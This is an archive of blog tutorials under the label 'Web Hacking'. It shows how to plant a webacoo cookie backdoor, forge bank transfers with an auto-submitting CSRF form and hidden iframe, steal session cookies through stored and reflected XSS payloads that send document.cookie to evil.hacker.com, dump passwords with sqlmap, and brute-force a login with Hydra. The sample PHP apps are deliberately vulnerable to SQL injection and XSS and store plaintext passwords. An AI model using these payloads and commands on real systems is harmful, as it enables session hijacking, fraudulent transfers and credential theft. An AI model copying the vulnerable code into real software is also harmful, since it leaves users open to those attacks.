Showing posts with label Web Hacking. Show all posts
Showing posts with label Web Hacking. Show all posts

Monday, 15 June 2015

Web backdoor 'webacoo' in Kali Linux


A backdoor is any type of program that will allow a hacker to connect to a computer without going through the normal authentication process. If a hacker can get a backdoor program loaded on a computer, the hacker can then come and go at will. Backdoors generally use a covert communication channel to hide its communication from firewall and IDS.

WeBaCoo (Web Backdoor Cookie) is a web backdoor script-kit, which provides the hacker with a remote terminal on the web server and communicates  over HTTP. WeBaCoo uses HTTP cookies as a covert communication channel. The commands to be executed on the victim server and the response are sent using encrypted cookies in HTTP request and HTTP response headers.

WeBaCoo is a post exploitation tool. The hacker has to first gain access to the victim web server in order to upload the backdoor code.


On the Kali Linux machine,perform the following steps:

1) Generate  backdoor code
root@kali:~# webacoo -g -o backdoor.php

WeBaCoo 0.2.3 - Web Backdoor Cookie Script-Kit
Copyright (C) 2011-2012 Anestis Bechtsoudis
{ @anestisb | anestis@bechtsoudis.com | http(s)://bechtsoudis.com }

[+] Backdoor file "backdoor.php" created.



2) Copy the file 'backdoor.php' to the compromised web server.


3) Connect to the compromised web server.
root@kali:~# webacoo -t -u http://meru.mycompany.com/backdoor.php

    WeBaCoo 0.2.3 - Web Backdoor Cookie Script-Kit
    Copyright (C) 2011-2012 Anestis Bechtsoudis
    { @anestisb | anestis@bechtsoudis.com | http(s)://bechtsoudis.com }

[+] Connecting to remote server as...
uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0

[*] Type 'load' to use an extension module.
[*] Type ':<cmd>' to run local OS commands.
[*] Type 'exit' to quit terminal.

webacoo$ id
uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0



On the Kali Linux machine, we capture the communication with the victim web server in 'Wireshark'. To configure Wireshark, select the Network Interface , and start capture. Set filter to http.

The below screen shot shows the HTTP request to the victim web server. We can see that the command to be executed on the victim is sent using an encrypted cookie. 






The below screen shot shows the HTTP response from the victim web server.
The output of the command executed on the victim is sent using an encrypted cookie.





Friday, 12 June 2015

Cross-Site Request Forgery Attack: Example Application


In Cross-site request forgery (CSRF) attack, the attacker creates an innocuous-looking website that causes the user's browser to submit a request directly to the vulnerable application to perform some unintended action.

In this tutorial, we develop a web application which has a CSRF vulnerability. When a user logs into the application, a session is created for him. The attacker creates a malicious URL to exploit the CSRF vulnerability. When the user clicks on the malicious link, the script performs a privileged operation on the vulnerable web application.


Victim Web Server Name: meru.mycompany.com
Attacker Web Server : evil.hacker.com


1) The user logs in to the application by viewing the URL  http://meru.mycompany.com/login.html. Enters username and password. On successful authentication, a session is created for the user. And the user is redirected to the URL http://meru.mycompany.com/transfer.php.








2) On the  page 'transfer.php' , the user specifies the account no. of the recipient and the amount to transfer. 


 The page 'transfer.php' contains the following code:

<?php
session_start();
?>
<html>
<body>
<?php
if(!isset($_SESSION['loginid'])){
  echo "please login";
}else{
?>
<h2>Enter Transaction details</h2> 
<form action="perform.php" method="post">
<label>To account no:</label>
<input type="text" name="daccount"  /> <br/>
<label>Transfer Amount:</label> 
<input type="text" name="amount"  /> <br/>
<input type="submit" name="submit" value="submit"/>
</form>
<?php
}
?>
</body>
</html>


We can see that the  above code is vulnerable to CSRF attack because of the following reasons:
a) The application relies solely on HTTP cookies for tracking sessions.
b) The attacker can determine all the parameters required to perform the action.

3) The attacker constructs a web page 'http://evil.hacker.com/attacker.php' that makes a cross-domain request to the vulnerable application containing everything needed to perform the privileged action. As shown below:

<html>
<body>
<form action="http://meru.mycompany.com/perform.php" method="post">
<input type="hidden" name="daccount" value="1050" /> <br/>
<input type="hidden" name="amount" value="1000" /> <br/>
</form>
<script>document.forms[0].submit();
</script>
</body>
</html>


This attack places all the parameters to the request into hidden form fields and contains a script to automatically submit the form.

4) The attacker puts this page on his web server and tricks the user into clicking on the link http://evil.hacker.com/attacker.php, while the user is already logged-in to the vulnerable application.

When the user's browser submits the form, it automatically adds the user's cookies for the target domain, and the vulnerable application processes the request in the usual way and money is transferred to the attacker's account.


The attacker can also use an iframe to launch the attack, as shown below. The advantage of using an iframe is that the output from the victim server is hidden to the user and the user will not come to know that he has been attacked.

iframe_attack.php
<html>
<body>
<iframe height="0" width="0" src='http://evil.hacker.com/attacker.php'></iframe>
</body>
</html>

In the above case, the user has to click on http://evil.hacker.com/iframe_attack.php.


5) The source code for the application is given below:

 login.php
<?php

if(!isset($_SESSION['loginid'])){
if(isset($_POST['submit'])){
  $loginid = $_POST['loginid'];
  $passwd = $_POST['passwd'];

  $conn = new mysqli('localhost','shabbir','shabbir','mybank');
  if($conn->connect_error){
    die('error connecting to server' . $conn->connect_error);
  }


  $sql = "select loginid,passwd,custname from customer where loginid = '$loginid' and passwd = '$passwd'";

  $result = $conn->query($sql);

  if ($result->num_rows == 1){
    $row = $result->fetch_assoc();
    $custname = $row['custname'];

    session_start();
    $_SESSION['loginid'] = $loginid;
    $_SESSION['custname'] = $custname;

    header('Location: transfer.php');
  }
  $error_msg="invalid username or password.\n";

  $conn->close();
}
}
?>


<html>
<head>
<title>Welcome to mybank</title>
</head>

<body>
<h2>Enter login details</h2>
<?php
if(! empty($error_msg)){
        echo "<strong>" . $error_msg . "</strong><br/>";
}
?>

<form action="login.php" method="post">

<label>Login id:</label>
<input type="text" name="loginid"  /> <br/>

<label>Password:</label>
<input type="text" name="passwd"  /> <br/>

<input type="submit" name="submit" value="submit"/>
</form>
</body>
</html>


perform.php
<?php
session_start();
if(!isset($_SESSION['loginid'])){
  echo "please login";
}else{

   $daccount = $_POST['daccount'];
   $amount = $_POST['amount'];
   $loginid = $_SESSION['loginid'];

   $conn = new mysqli('localhost','shabbir','shabbir','mybank');
   if($conn->connect_error){
      die('error connecting to server' . $conn->connect_error);
   }


   $sql1 = "select * from customer where loginid = '$loginid'";
   $result = $conn->query($sql1);

   if($result->num_rows > 0){
     $row = $result->fetch_assoc();
     $sbalance = $row['balance'];
     $sbalance = $sbalance - $amount;
     echo $sbalance;
   }else{
     echo "0 results";
   }

   $sql1 = "select * from customer where accountno = '$daccount'";
   $result = $conn->query($sql1);
 if($result->num_rows > 0){
     $row = $result->fetch_assoc();
     $dbalance = $row['balance'];
     $dbalance = $dbalance + $amount;
     echo $dbalance;
   }else{
     echo "0 results";
   }

   $sql1 = "update customer set balance = $sbalance where loginid = '$loginid'";
   if($conn->query($sql1) == TRUE){
        echo "inserted successfully";
   }
   else{
        echo "error quering database" . $conn->error;
   }
   $sql1 = "update customer set balance = $dbalance where accountno = '$daccount'";
   if($conn->query($sql1) == TRUE){
        echo "inserted successfully";
   }
   else{
        echo "error quering database" . $conn->error;
   }

  $conn->close();

}
?>





Session Hijacking using Stored XSS: Example Application

Session hijacking occurs when an attacker captures a session token and injects it into their own browser to gain access to the victim's authenticated session.

There are some limitations of session hijacking attacks:
1) Stealing cookies is useless if the target is using https:// for browsing.
2) Most cookies expire when the target logs out of a session. This also logs the attacker out of the session.
3) Many websites do not support parallel logins, which negates the use of a stolen cookie.
  
In this tutorial, we will see how to steal session cookie using Stored Cross-Site Scripting Attack.

Stored cross-site scripting arises when data submitted by one user is stored in the application (typically in a database) and then is displayed to other users without being filtered appropriately.

Attacks against Stored XSS vulnerabilities typically involve at least two requests to the application.
1) In the first, the attacker posts some crafted data containing malicious code that the application stores.
2) In the second, a victim views a page containing the attacker's data, and the malicious script is executed in the victim's browser.

We develop a web application which has a stored XSS vulnerability. The attacker logs in to the application and stores a malicious script in her profile. When the victim logs into the application, and views the attacker's profile, the malicious script gets executed in the victim's browser which sends the victim's session token to the attacker.


Web Server Name: meru.mycompany.com
Attacker Machine : evil.hacker.com


1) The attacker logs in to the application by viewing the URL  http://meru.mycompany.com/login.php.






2) The attacker accesses the page 'http://meru.mycompany.com/edit_cust.php' and enters the following Javascript in the Address field.

<a href=# onclick=\"document.location=\'http://evil.hacker.com/xss.php?c=\'+escape\(document.cookie\)\;\">My Address</a>


The attacker logs out of the application. And silently waits for the victim to log in and view her profile.


3) The victim logs in to the application on the URL http://meru.mycompany.com/login.php. And views customer profiles on the page 'http://meru.mycompany.com/list_cust.php'. When the victim clicks on the link My Address , a request is sent to 'evil.hacker.com' containing the user's session token.


This code causes the user's browser to make a request to 'evil.hacker.com'. The request contains the user's session token for the application. 



5) The attacker on 'evil.hacker.com'  runs 'Wireshark' and captures the session token as shown below:



6) Now the attacker has to insert this session token in a cookie in his browser and hijack the user session. The attacker will perform the following steps:

6.1) Open Firefox Web Browser. Install Grease Monkey Firefox extension

https://addons.mozilla.org/en-US/firefox/addon/greasemonkey


6.2) Install Cookie Injector script in Grease Monkey.

http://userscripts-mirror.org/scripts/show/119798

http://dustint.com/post/12/cookie-injection-using-greasemonkey

6.1) Copy the session token from 'Wireshark' output. Right click on Request URI. Select Copy -> Bytes -> Printable Text Only. Then paste  into 'gedit' text editor as shown below:

/xss.php?c=PHPSESSID%3Dnef6vmd3ag8h7lo50m8190iee5

6.2) Edit the copied text as shown below.

Cookie: PHPSESSID=nef6vmd3ag8h7lo50m8190iee5

6.3) Copy the above line.

6.4) Start Firefox web browser. Press Alt+C to open the Cookie Injector dialog. Paste the above copied line and click OK as shown below.






6.5) The session has been hijacked. The attacker accesses the URL http://meru.mycompany.com/transfer.php  and transfers money from the victim's account.






Source Code for the Application:

 login.php
<?php

if(!isset($_SESSION['loginid'])){
if(isset($_POST['submit'])){
  $loginid = $_POST['loginid'];
  $passwd = $_POST['passwd'];

  $conn = new mysqli('localhost','shabbir','shabbir','mybank');
  if($conn->connect_error){
    die('error connecting to server' . $conn->connect_error);
  }


  $sql = "select loginid,passwd,custname from customer where loginid = '$loginid' and passwd = '$passwd'";

  $result = $conn->query($sql);

  if ($result->num_rows == 1){
    $row = $result->fetch_assoc();
    $custname = $row['custname'];

    session_start();
    $_SESSION['loginid'] = $loginid;
    $_SESSION['custname'] = $custname;

    header('Location: search.php');
  }
  $error_msg="invalid username or password.\n";

  $conn->close();
}
}
?>


<html>
<head>
<title>Welcome to mybank</title>
</head>

<body>
<h2>Enter login details</h2>
<?php
if(! empty($error_msg)){
        echo "<strong>" . $error_msg . "</strong><br/>";
}
?>

<form action="login.php" method="post">

<label>Login id:</label>
<input type="text" name="loginid"  /> <br/>

<label>Password:</label>
<input type="text" name="passwd"  /> <br/>

<input type="submit" name="submit" value="submit"/>
</form>
</body>
</html>


edit_cust.php

<html>
<head>
<title>Welcome to mybank</title>
</head>

<body>
<?php
session_start();
if(!isset($_SESSION['loginid'])){
  echo 'Please login';
} else{

if(isset($_POST['submit'])){

$loginid = $_POST['loginid'];
$passwd = $_POST['passwd'];
$custname = $_POST['custname'];
$accountno = $_POST['accountno'];
$balance = $_POST['balance'];
$address = $_POST['address'];
$mobile = $_POST['mobile'];

$conn = new mysqli('localhost','shabbir','shabbir','mybank');
 if($conn->connect_error){
   die('error connecting to server' . $conn->connect_error);
 }

echo $loginid;

$sql = "update customer set passwd = '$passwd', custname = '$custname', accountno = '$accountno', balance = '$balance', address = '$address', mobile = '$mobile' where loginid = '" . $loginid . "'";


if($conn->query($sql) === TRUE){
    echo "inserted successfully";
    header('Location: index.php');
}
else{
  echo "error quering database" . $conn->error;
}

$conn->close();

}else{

$loginid = $_SESSION['loginid'];

$conn = new mysqli('localhost','shabbir','shabbir','mybank');
if($conn->connect_error){
  die("connect error" . $conn->connect_error);
}

$sql = "select * from customer where loginid = '" . $loginid . "'";
$result = $conn->query($sql);

if($result->num_rows > 0){
  $row = $result->fetch_assoc();
  $passwd = $row['passwd'];
  $custname = $row['custname'];
  $accountno = $row['accountno'];
  $balance = $row['balance'];
  $address = $row['address'];
  $mobile = $row['mobile'];
}
?>



<h2>Enter customer details</h2>

<form action="edit_cust.php" method="post">

<label>Login id:</label>
<input type="text" name="loginid" value="<?php echo $loginid;?>"  /> <br/>

<label>Password:</label>
<input type="text" name="passwd" value="<?php echo $passwd;?>" /> <br/>

<label>Customer name:</label>
<input type="text" name="custname" value="<?php echo $custname;?>" /> <br/>

<label>Account No:</label>
<input type="text" name="accountno" value="<?php echo $accountno;?>" /> <br/>

<label>Balance:</label>
<input type="text" name="balance" value="<?php echo $balance;?>" /> <br/>

<label>Address:</label>
<input type="text" name="address" value="<?php echo $address;?>" /> <br/>

<label>Mobile No.:</label>
<input type="text" name="mobile" value="<?php echo $mobile;?>" /> <br/>

<input type="submit" name="submit" value="submit"/>
</form>


<?php
}
}
?>

</body>
</html>


list_cust.php
<?php
session_start();

if(!isset($_SESSION['loginid'])){
  echo "please login";
}else{ 


$conn = new mysqli('localhost','shabbir','shabbir','mybank');
if($conn->connect_error){
  die("connect error" . $conn->connect_error);
}

$sql = "select * from customer";
$result = $conn->query($sql);

if($result->num_rows > 0){

  echo '<table>';
  echo '<tr><th>Login ID</th><th>Cust Name</th><th>Account No </th><th> Balance</th><th>Address</th><th>Mobile</th></tr>';
  while($row = $result->fetch_assoc()){
     echo "<tr><td><strong>" . $row['loginid'] . "</strong></td>";
     echo "<td>" . $row['custname'] . "</td>";
     echo "<td>" . $row['accountno'] . "</td>";
     echo "<td>" . $row['balance'] . "</td>";
     echo "<td>" . $row['address'] . "</td>";
     echo "<td>" . $row['mobile'] . "</td> </tr>";
  }
  echo '</table>';

}else{
  echo "0 results";
}

$conn->close();
}

?>












































Wednesday, 10 June 2015

Session Hijacking Using Reflected XSS: Example Application


Session hijacking occurs when an attacker captures a session token and injects it into their own browser to gain access to the victim's authenticated session.

There are some limitations of session hijacking attacks:
1) Stealing cookies is useless if the target is using https:// for browsing.
2) Most cookies expire when the target logs out of a session. This also logs the attacker out of the session.
3) Many websites do not support parallel logins, which negates the use of a stolen cookie.
  
In this tutorial, we will see how to steal session cookie using Reflected Cross-Site Scripting Attack.

Cross-site scripting (XSS) is a vulnerability that permits an attacker to inject code (typically HTML or Javascript) into contents of a website not under the attacker's control. When a victim views such a page, the injected code executes in the victim's browser. Thus, the attacker has bypassed the browser's same origin policy and can steal victim's private information associated with the website in question.
In a reflected XSS attack, the attack is in the request itself (frequently the URL) and the vulnerability occurs when the server inserts the attack in the response verbatim or incorrectly escaped or sanitized. The victim triggers the attack by browsing to a malicious URL created by the attacker.

We develop a web application which has a reflected XSS vulnerability. When a user logs into the application, a session is created for him. The attacker creates a malicious URL to exploit the XSS vulnerability and capture the session token of the logged in user.


Web Server Name: meru.mycompany.com
Attacker Machine : evil.hacker.com


1) Log in to the application by viewing the URL  http://meru.mycompany.com/login.html. Enter username and password. On successful authentication, a session is created for the user. And the user is redirected to the URL http://meru.mycompany.com/search.php.





 login.php
<?php

if(!isset($_SESSION['loginid'])){
if(isset($_POST['submit'])){
  $loginid = $_POST['loginid'];
  $passwd = $_POST['passwd'];

  $conn = new mysqli('localhost','shabbir','shabbir','mybank');
  if($conn->connect_error){
    die('error connecting to server' . $conn->connect_error);
  }


  $sql = "select loginid,passwd,custname from customer where loginid = '$loginid' and passwd = '$passwd'";

  $result = $conn->query($sql);

  if ($result->num_rows == 1){
    $row = $result->fetch_assoc();
    $custname = $row['custname'];

    session_start();
    $_SESSION['loginid'] = $loginid;
    $_SESSION['custname'] = $custname;

    header('Location: search.php');
  }
  $error_msg="invalid username or password.\n";

  $conn->close();
}
}
?>


<html>
<head>
<title>Welcome to mybank</title>
</head>

<body>
<h2>Enter login details</h2>
<?php
if(! empty($error_msg)){
        echo "<strong>" . $error_msg . "</strong><br/>";
}
?>

<form action="login.php" method="post">

<label>Login id:</label>
<input type="text" name="loginid"  /> <br/>

<label>Password:</label>
<input type="text" name="passwd"  /> <br/>

<input type="submit" name="submit" value="submit"/>
</form>
</body>
</html>





 2)  The page 'search.php' contains reflected XSS vulnerability. The application simply copies the  search keyword into  the output as shown below.



This behavior of taking user-supplied input and inserting it into the HTML of the server's response is one of the signatures of reflected XSS vulnerabilities.

search.php
<?php
session_start();
?>

<html>
<head>
<title>Welcome to mybank</title>
</head>

<body>

<?php
if(!isset($_SESSION['loginid'])){
  echo "please login";

} else{
  if(isset($_GET['submit'])){

      $item = $_GET['item'];
      echo "You searched for " . $item . "<br/>";

  } else{
?>

<h2>Enter Search Item </h2>

<form action="search.php" method="get">

<label>Search Keyword:</label>
<input type="text" name="item"  /> <br/>
<input type="submit" name="submit" value="submit"/>
</form>

<?php
}
}
?>

</body>
</html>



 3) If we enter the following Javascript as the search keyword  car<script>alert(document.cookie)</script>.

Then we get a pop up dialog displaying the session id as shown below.






4) Through some means, the attacker feeds the following URL to the user. 

http://meru.mycompany.com/search.php?item=car<script>var+i=new+Image;+i.src="http://evil.hacker.com/xss.php"%2bdocument.cookie;</script>&submit=submit

The user requests from the application the URL fed to him by the attacker.

Because of the XSS vulnerability, the server's response contains the javascript the attacker created.

The user's browser executes the attacker's javascript . The malicious javascript created by the attacker is:

var i=new Image; i.src="http://evil.hacker.com/xss.php"+document.cookie 

This code causes the user's browser to make a request to 'evil.hacker.com'. The request contains the user's session token for the application. 

Note that the victim does not even need to explicitly click on the malicious link. Suppose the attacker owns 'evil.hacker.com' and creates a page 'attack.php'  with an <iframe> pointing to the malicious link; if the victim visits 'http://evil.hacker.com/attack.php', the attack will silently be activated. 

<html>
<body>
<iframe height="0" width="0" src='http://meru.mycompany.com/search.php?item=car<script>var+i=new+Image;+i.src="http://evil.hacker.com/"%2bdocument.cookie;</script>&submit=submit'></iframe>
</body>
</html>


5) The attacker on 'evil.hacker.com'  runs 'Wireshark' and captures the session token as shown below:



6) Now the attacker has to insert this session token in a cookie in his browser and hijack the user session. The attacker will perform the following steps:

6.1) Open Firefox Web Browser. Install Grease Monkey Firefox extension

https://addons.mozilla.org/en-US/firefox/addon/greasemonkey


6.2) Install Cookie Injector script in Grease Monkey.

http://userscripts-mirror.org/scripts/show/119798

http://dustint.com/post/12/cookie-injection-using-greasemonkey

6.1) Copy the session token from 'Wireshark' output. Right click on Request URI. Select Copy -> Bytes -> Printable Text Only. Then paste in 'gedit' text editor as shown below:

/xss.php?c=PHPSESSID%3Dnef6vmd3ag8h7lo50m8190iee5

6.2) Edit the copied text as shown below.

Cookie: PHPSESSID=nef6vmd3ag8h7lo50m8190iee5

6.3) Copy the above line.

6.4) Start Firefox web browser. Press Alt+C to open the Cookie Injector dialog. Paste the above copied line and click OK as shown below.




6.5) The session has been hijacked. The attacker accesses the URL http://meru.mycompany.com/transfer.php  and transfers money from the victim's account.



Friday, 17 April 2015

SQL Injection Attack using sqlmap in Kali Linux


In this tutorial, we develop a sample web application and launch an SQL Injection attack against it, to grab the usernames and passwords from the database.

The Web application and database table is given below:

1) The login page 'cust_login.html'

cust_login.html
<html>
<body>
 <form method="get" action="cust_display.php">
   <label for="name">User Name:</label>
   <input type="text" id="name" name="name" /><br />

   <input type="submit" value="login" name="submit" />
 </form>
</body>
</html>


2) The page 'cust_display.php' displays the customer details


cust_display.php
<html>
<body>
<?php
$name = $_GET["name"];

$conn = new mysqli("localhost","root","root","hacking");
if ($conn->connect_error){
    die("Connection failed:  " . $conn->connect_error);
}

$sql = "select name,firstname,surname,address from customer where name = '" . $name . "'";
$result = $conn->query($sql);

$row= $result->fetch_assoc();
echo "firstname: " . $row["firstname"]. "<br>";
echo "surname: "   . $row["surname"].   "<br>";
echo "address: "   . $row["address"].     "<br>";

$conn->close();
?>
</body>
</html>


3) The MySQL database table Customer

 MariaDB [hacking]> desc customer;
+-----------+--------------+------+-----+---------+-------+
| Field     | Type         | Null | Key | Default | Extra |
+-----------+--------------+------+-----+---------+-------+
| name      | varchar(50)  | NO   | PRI | NULL    |       |
| passwd    | varchar(50)  | YES  |     | NULL    |       |
| firstname | varchar(50)  | YES  |     | NULL    |       |
| surname   | varchar(50)  | YES  |     | NULL    |       |
| address   | varchar(200) | YES  |     | NULL    |       |
+-----------+--------------+------+-----+---------+-------+


4) Launching SQL Injection attack against the web application

4.1) Fetch list of available databases
 root@kali:~# sqlmap -u http://www.mycompany.com/cust_display.php?name=shabbir --dbs

available databases [6]:
[*] hacking
[*] information_schema
[*] mybank
[*] mysql
[*] performance_schema
[*] test

4.2) Fetch list of tables in database 'hacking'
root@kali:~# sqlmap -u http://www.mycompany.com/cust_display.php?name=shabbir -D hacking --tables

Database: hacking
[1 table]
+----------+
| customer |
+----------+


4.3) Fetch list of columns in table 'customer'
root@kali:~# sqlmap -u http://www.mycompany.com/cust_display.php?name=shabbir -D hacking -T customer --columns

Database: hacking
Table: customer
[5 columns]
+-----------+--------------+
| Column    | Type         |
+-----------+--------------+
| address   | varchar(200) |
| firstname | varchar(50)  |
| name      | varchar(50)  |
| passwd    | varchar(50)  |
| surname   | varchar(50)  |
+-----------+--------------+

4.4) Fetch list of 'username,password' from table 'customer'
root@kali:~# sqlmap -u http://www.mycompany.com/cust_display.php?name=shabbir -D hacking -T customer -C name,passwd --dump

Database: hacking
Table: customer
[4 entries]
+---------+--------+
| name    | passwd |
+---------+--------+
| pk      | aunty  |
| priya   | blue   |
| shabbir | admin  |
| taher   | hello  |
+---------+--------+

Thursday, 16 April 2015

Hacking Web Login using Hydra in Kali Linux


In this tutorial, we will develop a sample web application and launch an online password attack against it. We will use 'hydra' in Kali LInux for the attack.

Given below is the PHP application and MySQL database table.
The application consists of 2 pages.
1) user_login.html
2) user_verify.php

1) The login page 'user_login.html'


user_login.html
<html>
<body>
 <form method="post" action="user_verify.php">
   <label for="name">User Name:</label>
   <input type="text" id="name" name="name" /><br />

   <label for="passwd">Password:</label>
   <input type="text" id="passwd" name="passwd" /><br />

   <input type="submit" value="login" name="submit" />
 </form>
</body>
</html>


2) The page 'user_verify.php' displays the below message on successful login.

user_verify.php
<html>
<body>
<?php
$name = $_POST['name'];
$passwd = $_POST['passwd'];

$conn = new mysqli("localhost","root","root","hacking");
if ($conn->connect_error){
    die("Connection failed:  " . $conn->connect_error);
}

$sql = "select * from customer where name = '" . $name . "'";
$result = $conn->query($sql);

$row= $result->fetch_assoc();

$pvalue = $row["passwd"];

if(strcmp($passwd,$pvalue) == 0){
        echo "login successful";
}else{
        echo "login error";
}
$conn->close();
?>
</body>
</html>

3) The MySQL database table Customer

 MariaDB [hacking]> desc customer;
+-----------+--------------+------+-----+---------+-------+
| Field     | Type         | Null | Key | Default | Extra |
+-----------+--------------+------+-----+---------+-------+
| name      | varchar(50)  | NO   | PRI | NULL    |       |
| passwd    | varchar(50)  | YES  |     | NULL    |       |
| firstname | varchar(50)  | YES  |     | NULL    |       |
| surname   | varchar(50)  | YES  |     | NULL    |       |
| address   | varchar(200) | YES  |     | NULL    |       |
+-----------+--------------+------+-----+---------+-------+


4) Using hydra to attack the above application. We provide a wordlist of passwords to hydra. If the password matches one of the words in our wordlist, we will successfully login to the application.

root@kali:~# hydra www.mycompany.com http-form-post "/user_verify.php:name=^USER^&passwd=^PASS^:login error"  -l priya -P /usr/share/wordlists/fasttrack.txt -t 10 -w 30 -o hydra_attack.txt

Hydra v7.6 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only

Hydra (http://www.thc.org/thc-hydra) starting at 2015-04-16 23:17:22
[DATA] 10 tasks, 1 server, 133 login tries (l:1/p:133), ~13 tries per task
[DATA] attacking service http-post-form on port 80
[80][www-form] host: 192.168.122.1   login: priya   password: blue
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2015-04-16 23:17:23
root@kali:~#


where
       www.mycompany.com :- the website being attacked
       http-form-post             :- POST method is used to submit the form
       user_verify.php           :- password verifying script
       name=^USER^&passwd=^PASS^ :- form parameters
       login error                   :- the message displayed by the script on incorrect login
       -l priya                          :- the login name used to attack the website

       -P /usr/share/wordlists/fasttrack.txt :- the wordlist used for the attack
       -t 10                              :- run 10 tasks in parallel

       -w 30                             :- max amount of time to wait for response (in sec)
       -o hydra_attack.txt      :- output file